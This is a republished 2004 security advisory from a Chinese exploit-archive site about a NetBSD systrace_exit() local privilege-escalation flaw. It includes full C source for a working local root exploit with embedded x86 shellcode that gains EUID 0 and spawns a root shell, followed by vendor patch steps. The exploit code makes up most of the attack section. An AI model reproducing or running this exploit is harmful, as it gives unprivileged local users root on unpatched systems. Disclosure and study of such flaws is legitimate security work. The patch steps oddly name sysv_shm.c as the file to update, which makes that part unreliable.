首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
NetBSD/FreeBSD移植的Systrace Exit函数访问验证权限提升
来源:vfocus.net 作者:Stefan 发布时间:2004-05-24  

NetBSD/FreeBSD移植的Systrace Exit函数访问验证权限提升漏洞

涉及程序:
NetBSD/FreeBSD

描述:
NetBSD/FreeBSD移植的Systrace Exit函数访问验证权限提升漏洞

详细:
NetBSD/FreeBSD是开放源代码操作系统,Systrace可通过强制系统调用的访问策略监视并且控制应用程序访问系统。

NetBSD/FreeBSD的Systrace的实现存在访问验证问题,本地攻击者可以利用这个漏洞提升权限。

systrace_exit()没有检查连接到systrace的进程是否属于超级用户权限,在exit操作时会设置EUID为0,因此本地攻击者可以利用这个问题提升权限。

受影响系统:
NetBSD NetBSD 2.0
不受影响系统:
NetBSD NetBSD 1.6.2
NetBSD NetBSD 1.6.1
NetBSD NetBSD 1.6
NetBSD NetBSD 1.5.3
NetBSD NetBSD 1.5.2
NetBSD NetBSD 1.5.1


攻击方法:
警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Stefan Esser (se@FreeBSD.org)提供了如下测试方法:

#include <stdio.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <sys/systrace.h>

#define systrace_device "/dev/systrace"

char MAGIC[] = "\x53\x31\xc0\x50\x50\x50\x50\xb8\x03\x00\x00\x00"
"\xcd\x80\x83\xc4\x10\xb8\x00\x00\xc0\xbf\x94\x50"
"\xb8\x03\x00\x00\x00\xcd\x80\x5b\x87\xe3\x5b\xc3";

void (*magic)(void) = MAGIC;

int nbsd_systrace_open()
{
int fd;

printf("[+] Connecting to %s... ", systrace_device);
fd = open(systrace_device, O_RDONLY, 0);
if (fd == -1) {
perror("failed with error: ");
printf("\nSorry but the exploit failed\n");
exit(1);
}
printf("done.\n");

return (fd);
}

int nbsd_attach_parent(int fd)
{
pid_t pid = getppid();

printf("[+] Attaching to parent... ");
if (ioctl(fd, STRIOCATTACH, &pid) == -1) {
perror("failed with error: ");
printf("\nSorry but the exploit failed\n");
}
printf("done.\n");
return (0);
}

void nbsd_handle_msg(int fd)
{
struct str_message msg;
struct systrace_answer ans;
int r;

r = read(fd, &msg, sizeof(msg));

if (r != sizeof(msg)) {
exit(1);
}

memset(&ans, 0, sizeof(ans));
ans.stra_pid = msg.msg_pid;
ans.stra_seqnr = msg.msg_seqnr;
ans.stra_policy = SYSTR_POLICY_PERMIT;
ans.stra_flags =
SYSTR_FLAGS_RESULT|SYSTR_FLAGS_SETEUID|SYSTR_FLAGS_SETEUID;
ans.stra_error = 0;
ans.stra_seteuid = getuid();
ans.stra_setegid = getgid();

if (ioctl(fd, STRIOCANSWER, &ans) == -1);

}

void doit()
{
int p,f,fd;

fd = nbsd_systrace_open();

f = fork();

if (f == 0) {
sleep(1);
nbsd_attach_parent(fd);
while (1) {
nbsd_handle_msg(fd);
}
exit(1);
}
printf("[+] Doing some magic... ");
sleep(2);
magic();

setuid(0);
setgid(0);

kill(f, 9);

if (getuid() != 0) {
printf("failed.\n");
printf("\nSorry but the exploit failed.");
exit(1);
}

printf("done.\n\n");

system("uname -v");
system("id");
execlp("/bin/sh", "/bin/sh", 0);
}

void banner()
{
printf("NetBSD/x86 systrace local root exploit\n");
printf("by ziegenpeter\n\n");

if (getuid() == 0) {
printf("no comment\n");
exit(1);
}
}

int main(int argc, char **argv)
{
int fd;
banner();
doit();
return (0);
}


解决方案:
厂商补丁:

NetBSD
------
2004/04/09的NetBSD CVS tree已经修正此漏洞,建议用户从CVS升级,重构和安装内核:

# cd src
# cvs update -d -P -r BRANCH sys/kern/sysv_shm.c
# cd sys/arch/ARCH/conf
# config KERNCONF
# cd ../compile/KERNCONF
# make depend;make
# mv /netbsd /netbsd.old
# cp netbsd /
# reboot


附加信息:
BUGTRAQ ID: 10320




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ProFTPd remote users discovery
·Linksys BOOTP Memory Leak Expl
·Writing Trojans that Bypass Wi
·Condition Vulnerability Allows
·bmon < 1.2.1_2 local exploi
·BNBT BitTorrent Tracker DoS Ex
·Windows NNTP Service XPAT comm
·Mollensoft FTP Server CMD Buff
·Microsoft Internet Explorer远
·mkdir buffer overflow UNIX 7th
·remote Icecast 2.0.1 for windo
·Apache/1.3.27 - Remote Root Ex
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved